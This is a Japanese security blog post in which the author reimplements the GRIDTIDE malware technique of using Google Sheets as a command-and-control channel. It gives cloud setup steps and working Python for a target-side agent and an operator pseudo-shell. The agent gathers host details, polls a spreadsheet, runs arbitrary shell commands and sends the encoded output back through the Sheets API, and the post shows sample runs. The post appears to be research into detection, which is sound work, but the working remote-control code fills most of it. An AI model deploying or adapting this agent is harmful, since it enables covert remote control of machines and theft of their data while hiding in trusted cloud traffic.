Slapdash Safeguards

にわか仕込みのセキュリティ

Google スプレッドシートをC2チャネルとして使う:GRIDTIDEの手法を実装してみた

以前の記事を改めて見直して実装した話。

www.sdsg.moe


1. スプレッドシートをC2チャネルとして使うとはどういうことか

従来のC2とSaaS C2

従来のC2

そもそもC2チャネルとは、攻撃者がマルウェアに命令を送り、データを受け取るための通信チャンネル。

サーバを立てたり、他のサーバを乗っ取ってC2として使用するといった事例が多いが、C2サーバを特定されると攻撃できなくなるという問題点がある。

IPアドレスのブロックであったり、ドメインのブロックであったり、DNSのシンクホール化など見つけてさえしまえば防御ができてしまう。

SaaS C2

サーバーの代わりに、Google SheetsやSlackなどの正規のクラウドサービスをC2チャネルとして使う手法。信頼されているウェブサービスを利用するLoTS(Living off Trusted Sites)の一種。

正規の通信先、正規の証明書、正規のAPIを利用するため通常の業務で発生する通信等と判別ができない。

ビッグテックの一流のエンジニア達がサーバを用意し、保守してくれているので可用性が非常に高い。


2. アーキテクチャ概要

┌──────────────────┐          Google Sheets API          ┌──────────────────┐
│  sheet_terminal   │  ──── A{n} にコマンド書き込み ────▶ │  sheets_c2_agent │
│  (Operator側)     │                                     │  (Target側)      │
│                   │  ◀─── B{n} の出力を1秒ポーリング ── │                  │
│  疑似シェルUI      │                                     │  1秒ポーリング    │
└──────────────────┘                                     └──────────────────┘
                              ┌────────────────┐
                              │ Google Sheets   │
                              │                 │
                              │ A1: host info   │
                              │ A2: id          │ ← operator書き込み
                              │ B2: dWlkPTAo... │ ← agent書き込み
                              │ A3: ls -la      │
                              │ B3: dG90YWwg... │
                              └────────────────┘

GRIDTIDE

基本的には、3種類の目的でセルを使用。

セル 役割
A1 コマンド受信 & ステータス応答(ポーリング対象)
A2〜An データ転送(コマンド出力、ファイルアップロード/ダウンロード用)
V1 被害ホストの情報(ユーザー名、ホスト名、OS、ローカルIP、言語、タイムゾーン等)

セルA1が最も重要で、ここでマルウェアと攻撃者がやり取りを行う。

視認性の向上のためにA列から離れたV列を使っているだけでおそらく深い意味はない。

全体の流れ

攻撃者 Google Sheets 被害端末(GRIDTIDE)
A1:空
A2~:空
V1:ホスト情報
※初回のみ
シートのA~Z列1000行を削除
ホスト情報を収集しV1に書き込む
A1:空
A2~:空
V1:ホスト情報
定期的にA1セルを読み取る
空欄ならスルー
コマンドを送信 A1:攻撃者コマンド
A2~:空
V1:ホスト情報
A1:攻撃者コマンド
A2~:空
V1:ホスト情報
定期的にA1セルを読み取る
コマンドが書いてあるので実行
A1:実行済
A2~:収集した情報
V1:ホスト情報
結果をA2以下に出力
A1を「実行済」に書き換える
A1が「実行済」になっていることを確認
A2以下を読む
A1:実行済
A2~:収集した情報
V1:ホスト情報

以下がGoogleが書いた概要図

PoC

GRIDTIDEはおそらく履歴を残さないようにA1セルの情報を逐一読み取って上書きしていたが、今回はC2として使えることを確認したかったのでその機能は実装していない。

セル 役割
A1 ホスト情報。本家のV1と同等の役割
A2〜An 実行したコマンド
B2〜Bn コマンドの出力先

全体の流れ

sheet_terminal.py Google Sheets sheets_c2_agent.py
A1:ホスト情報 ※初回のみ
シートのA~Z列1000行を削除
ホスト情報を収集しA1に書き込む
A1:ホスト情報 定期的にA1セルを読み取り、何かが書き込まれていればポーリング継続
コマンド①を送信
A列の一番上の空白行にコマンドを書き込む
A1:ホスト情報
A2:コマンド①
A1:ホスト情報
A2:コマンド①
B2:出力①
結果をB2に出力

3. GCPプロジェクトとGoogle Sheets APIのセットアップ

3-1. GCPプロジェクトの作成

Google Cloud Console にアクセスし、上部のプロジェクト選択ドロップダウンから「新しいプロジェクト」を選択する。プロジェクト名は任意でよい(例: sheets-c2-poc)。

プロジェクトが作成されたら、コンソール左上のプロジェクト選択で作成したプロジェクトに切り替えておく。

3-2. Google Sheets API の有効化

左メニューの「APIとサービス」→「ライブラリ」を開き、検索ボックスに Google Sheets API と入力する。表示されたAPIを選択し「有効にする」をクリック。

注意: Google Drive APIは今回は不要。Sheets APIだけでpythonライブラリの gspread は動作する。

3-3. サービスアカウントの作成とキーのダウンロード

左メニューの「IAMと管理」→「サービスアカウント」→「サービスアカウントを作成」を選択する。

  • 名前: 任意(例: sheets-c2-agent
  • ロール: 今回はスプレッドシートを直接共有する方式のため、プロジェクトレベルのロール付与は不要。「続行」→「完了」で進める。

作成したサービスアカウントの行をクリックし、「キー」タブ→「鍵を追加」→「新しい鍵を作成」→ JSON を選択してダウンロードする。ダウンロードされたファイルを sa_key.json という名前で作業ディレクトリに保存する。

注意: このJSONファイルはサービスアカウントの秘密鍵を含む。

サービスアカウントのメールアドレスは後の手順で使用するのでメモしておく。形式は <name>@<project-id>.iam.gserviceaccount.com

3-4. スプレッドシートの作成とサービスアカウントへの共有

Google Sheets で新規スプレッドシートを作成する(名前は任意)。

次に、右上の「共有」ボタンをクリックし、3-3 でメモしたサービスアカウントのメールアドレスを入力して 編集者 として追加する。

スプレッドシートIDはURLから確認できる。

https://docs.google.com/spreadsheets/d/<ここがSPREADSHEET_ID>/edit

このIDを後述の --sheet-id 引数として使用する。

3-5. 依存ライブラリのインストール

pip install gspread google-auth

以上でセットアップは完了。手元には sa_key.json とスプレッドシートIDが揃っている状態になっているはず。


4. 実装:コマンド送信・実行・結果受信の仕組み

4-1. エージェント側(sheets_c2_agent.py)

ターゲット端末で動作し、スプレッドシートをポーリングしてコマンドを受け取り、実行結果を書き込む。

ホスト情報の収集とA1への書き込み

def collect_host_info() -> str:
    info = {
        "user": os.getenv("USER") or os.getenv("USERNAME") or "unknown",
        "host": socket.gethostname(),
        "os": f"{platform.system()} {platform.release()} {platform.machine()}",
        "ip": get_local_ip(),
        "cwd": os.getcwd(),
        "lang": os.getenv("LANG", "unknown"),
        "tz": time.tzname[0] if time.tzname else "unknown",
        "ts": datetime.now(timezone.utc).isoformat(),
    }
    raw = "|".join(f"{k}={v}" for k, v in info.items())
    return b64e(raw.encode())

エージェント起動時に一度だけ呼ばれ、結果をA1セルに書き込む。今回の実装で収集する情報は以下の通り。

キー 内容
user 実行ユーザー名(USER または USERNAME 環境変数)
host ホスト名
os OS名・カーネルバージョン・アーキテクチャ
ip ローカルIPアドレス
cwd 起動時のカレントディレクトリ
lang ロケール設定
tz タイムゾーン
ts UTC起動時刻(ISO 8601形式)

これらを key=value 形式で | 区切りに並べてからBase64エンコードしている。区切り文字として | を選んでいるのは、パスや値の中にカンマ・スペース・改行が含まれる可能性があるため。

セルに複数行の文字列を入れると gspread の読み取りで扱いが面倒になるので、フラットな1行文字列にまとめてからエンコードするのが無難。

get_local_ip() の実装は少し工夫がある。

def get_local_ip() -> str:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"

UDPソケットで 8.8.8.8:80connect() するが、UDPなので実際にはパケットを送信しない。

OSはルーティングテーブルを参照して送信元インターフェースを決定するため、getsockname() でそのNICに割り当てられたIPを取得できる。

hostname -Iifconfig のパース不要で、複数NICがある環境でもデフォルトルート側のIPを返してくれる。

コマンドのポーリングと実行

while True:
    cell = f"{CMD_COL}{row}"
    val = ws.acell(cell).value

    if not val or not val.strip():
        time.sleep(POLL_INTERVAL)
        continue

    cmd = val.strip()
    encoded = execute_command(cmd)
    ws.update_acell(f"{OUT_COL}{row}", encoded)
    row += 1

ポーリングループの動作は単純で、現在の行(row)のA列セルを読み、値が入っていればコマンドとして実行、空なら1秒待って再チェックを繰り返す。

重要なのは「1セルに1コマンドを割り当てて行を進める」設計で、コマンドと結果がスプレッドシート上に時系列で積み上がっていく。

オペレーター側もエージェント側も同じ行番号を共有するだけでよく、状態管理がシンプルになる。

行を進めるタイミングはコマンド実行と結果書き込みが完了した後。これにより、次のコマンドが来た時点では前の結果書き込みが終わっていることが保証される。

オペレーター側は結果セルが埋まったことを検知して初めて次のコマンドを送るので、実質的にロックフリーな同期が成立している。

コマンド実行とBase64エンコード

def execute_command(cmd: str, timeout: int = 30) -> str:
    try:
        result = subprocess.run(
            ["sh", "-c", cmd],
            capture_output=True,
            text=True,
            timeout=timeout,
        )
        output = result.stdout + result.stderr
    except subprocess.TimeoutExpired:
        output = f"[TIMEOUT] {timeout}s: {cmd}"
    except Exception as e:
        output = f"[ERROR] {e}"
    return b64e(output.encode())

stdoutstderr を結合しているのは、コマンドエラーの多くが stderr に出力されるため。たとえば ls /nonexistent の "No such file or directory" は stderr に書かれるが、それをオペレーターが見えないと状況判断ができない。シェル端末と同じ感覚で使うために両方まとめて返す。

出力は URL-safe Base64(base64.urlsafe_b64encode)でエンコードしてからセルに書き込む。通常の Base64 は +/ を使うが、Sheets API がこれらを含む文字列を受け取った際に数式や特殊値として誤解釈するケースが起きうる。

URL-safe Base64 は +-/_ に置き換えた変種で、英数字と -, _ のみからなる文字列になるため安全。

タイムアウトは subprocess.run()timeout 引数で制御しており、デフォルト30秒。時間内に完了しなければ subprocess.TimeoutExpired が発生し、プロセスを強制終了してタイムアウトメッセージをエンコードして返す。

例外もエンコードして返すことで、オペレーター側で [TIMEOUT][ERROR] プレフィックスのメッセージとして確認できる。

APIエラーハンドリングとレート制限対策

except gspread.exceptions.APIError as e:
    print(f"[!] API error: {e} — waiting 60s")
    time.sleep(60)

Google Sheets API の無料枠クォータは 300リクエスト/分/プロジェクト(読み書き合算)。

エージェント1台が1秒ポーリングを行うと最大60 req/min の読み取りが発生し、コマンド実行のたびに1 req の書き込みが追加される。

1台だけなら余裕があるが、複数エージェントが同一GCPプロジェクトのAPIを使うと合算でクォータを圧迫する。

クォータ超過などAPIエラーが発生した際は60秒待機している。Sheets APIのレート制限エラー(HTTP 429)は一般に短時間で解除されるため、60秒あれば十分なことが多い。

C2的に本来は Exponential Backoff(1秒→2秒→4秒→…のように待機時間を倍増させる)が推奨されるが、PoCとしての可読性を優先して固定値にしている。


4-2. オペレーター側(sheet_terminal.py)

攻撃者側で動作する擬似シェルUI。コマンドを入力するとスプレッドシート経由でターゲットに送信される。

ホスト情報バナーの表示

def print_banner(ws, sheet_title: str):
    val = ws.acell("A1").value
    if val:
        decoded = b64d(val)
        fields = {}
        for part in decoded.split("|"):
            if "=" in part:
                k, v = part.split("=", 1)
                fields[k] = v
        # ...ANSIカラーでターゲット情報を表示

ターミナル起動直後にA1セルを読んでBase64をデコードし、ターゲットの情報をバナーとして表示する。

╔══════════════════════════════════════════════════╗
║  Sheet Terminal — Google Sheets C2 Interface     ║
╠══════════════════════════════════════════════════╣
║  Target  : user@hostname
║  IP      : 192.168.1.10
║  OS      : Linux 5.15.0 x86_64
║  Sheet   : My C2 Sheet
║  Agent   : 2026-03-29T10:00:00+00:00
╚══════════════════════════════════════════════════╝

A1が空の場合は「エージェントがまだ起動していない」と判断してメッセージを出す。

接続確認のハンドシェイクをAPIで別途行うのではなく、ホスト情報の有無そのものを死活チェックに使う設計。

セッション再開(行スキャン)

while True:
    val = ws.acell(f"{CMD_COL}{row}").value
    if not val or not val.strip():
        break
    row += 1

ターミナルを終了して再起動した場合でも、A列のどこまでコマンドが書き込まれているかをスキャンして最初の空セルを探し、そこから再開する。

セッション状態をローカルに保存する必要がなく、スプレッドシート自体が「どこまで進んだか」の状態を持つ。

副作用として、同一スプレッドシートにセッション履歴が永続的に蓄積される。

過去のコマンドと結果がそのまま残るため、スプレッドシートを見れば操作ログを振り返れる一方、証拠としても残り続けることになる。

コマンド送信と結果のポーリング

ws.update_acell(cmd_cell, cmd)
response = wait_for_response(ws, row, timeout)
decoded = b64d(response)
print(decoded, end="" if decoded.endswith("\n") else "\n")
row += 1

コマンドをA{row}に書き込んだ後、対応するB{row}セルを1秒間隔でポーリングし、値が現れたらBase64デコードして出力する。

待機中はスピナーアニメーションで経過秒数を表示する。

spinner = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
sys.stdout.write(f"\r{s} Waiting for {cell}... ({elapsed}s/{max_wait}s)")

\r でカーソルを行頭に戻して上書きすることで、1行のスピナー表示を実現している。

タイムアウト(デフォルト120秒)した場合は行番号を進めない

これにより、エージェントが一時的にオフラインでも再起動後に同じセルのコマンドを拾って実行できる。

行番号を進めてしまうと、エージェントが復帰した後に「未実行のコマンドが飛ばされる」問題が起きるため。

組み込みコマンド

コマンド 説明
exit / quit ターミナル終了
help ヘルプ表示
!status 現在の行番号・接続情報
!decode <b64> Base64文字列をローカルデコード

5. 動かしてみた

実際に動かす手順は以下の通り。

ターゲット端末(エージェント側):

python3 sheets_c2_agent.py --creds sa_key.json --sheet-id <SPREADSHEET_ID>

起動するとシートをクリアしてA1にホスト情報を書き込み、コマンド待機状態に入る。

[*] Authenticating...
[+] Connected: My C2 Sheet / Sheet1
[*] Clearing sheet...
[+] Host info → A1
    user=youruser
    host=yourhostname
    os=Linux 5.15.0 x86_64
    ip=192.168.1.10
    ...
[*] Agent ready — polling every 1s
[*] Waiting for commands at A2

オペレーター端末(ターミナル側):

python3 sheet_terminal.py --creds sa_key.json --sheet-id <SPREADSHEET_ID>

エージェントのホスト情報がバナーとして表示され、シェル風のプロンプトで操作できる。

youruser@yourhostname:[A2]$ id
uid=1000(youruser) gid=1000(youruser) groups=1000(youruser)

youruser@yourhostname:[A3]$ uname -a
Linux yourhostname 5.15.0 #1 SMP x86_64 GNU/Linux

youruser@yourhostname:[A4]$

---以下実際のデモ----

demo


6. 技術的な工夫・制約・考察

URL-safe Base64エンコード

出力のエンコードに base64.urlsafe_b64encode を使っている。通常のBase64ではなくURLセーフを選ぶ理由は、gspread の update_acell() がデフォルトで valueInputOption=USER_ENTERED(=セルの内容をユーザー入力と同様に解釈する)を使っているため。

→ 通常のBase64に含まれる「+」と「/」が加算・除算演算子として解釈され、セルが #ERROR! になることがある

そこで、「+」を「-」に、「/」を「_」に置き換えたURLセーフのBase64でエンコードしている。

ポーリング間隔

Sheets APIの無料枠は 300リクエスト/分/プロジェクト(読み書き合算)で、terminal側とC2_agentの双方が1秒ごとにポーリングするため、待機中だけで1分間に120リクエストを消費してしまう。

長時間動かすと 429 Too Many Requests が返ってくるため、C2_agent側ではAPIのエラーを検知して60秒待機する処理を入れている。(30分程度動かしていたが、特にエラーは発生しなかった。)

except gspread.exceptions.APIError as e:
    print(f"[!] API error: {e} — waiting 60s")
    time.sleep(60)

GRIDTIDEはかなりの拠点で長期間検知されていなかったため、実際のポーリング間隔はもっと長いか、バックオフ戦略を取っていた可能性がある。

SaaS C2の類似事例

Google Sheets C2以外にもSaaS C2を利用した事例は何件かある。

侵害範囲を広げるために普及率が高いGoogleのサービスを利用したと思われる。そもそもGoogleの普及率が高いのもあるが、Microsoft 365を使いGoogle Workspaceを使っていない企業でもGmailアカウントを使っていたりと、普及率はかなり高いと思われる。

Excel Online

かなり似たサービスでMicrosoftのExcel Onlineがある。Microsoft Graph APIを使えばExcel OnlineのセルをHTTPSで読み書きできるため、GRIDTIDEがGoogle Sheets APIで行ったことと構造的に同一のことがGraph APIでも実装できる。

Google Sheets APIとの違い

そこまで大きな違いはないが、Microsoft 365の方がアカウント用意がめんどくさかったり、エラーハンドリングが異なったりするくらい。 Microsoft Graph APIには innerError に診断用の情報が含まれており、ログ調査をされたときの手掛かりが増える模様。

  • Google Sheets API
{
  "error": {
    "code": 403,
    "message": "The caller does not have permission",
    "status": "PERMISSION_DENIED"
  }
}
  • Microsoft Graph API
{
  "error": {
    "code": "AccessDenied",
    "message": "...",
    "innerError": {
      "date": "2026-03-29T00:00:00",
      "request-id": "uuid",
      "client-request-id": "uuid"
    }
  }
}

まとめと今後

本PoCは「スプレッドシートをC2として使えるかどうか」を確認するために実施したので、それ以外のGRIDTIDEが持っていた機能の数々(横展開、永続化、暗号化、セル上書きによる痕跡の隠蔽など)は実装していない。

そのため、今後の展望として、GRIDTIDEと同じ機能を持たせてPoCを実施し、どの程度調査ができるのか、どのような設定をしていたら未然に防げるのかを確認したい。 環境を用意するのが大変そうだが、Excel Onlineも似た方法でできそうだしやってみたい。


参考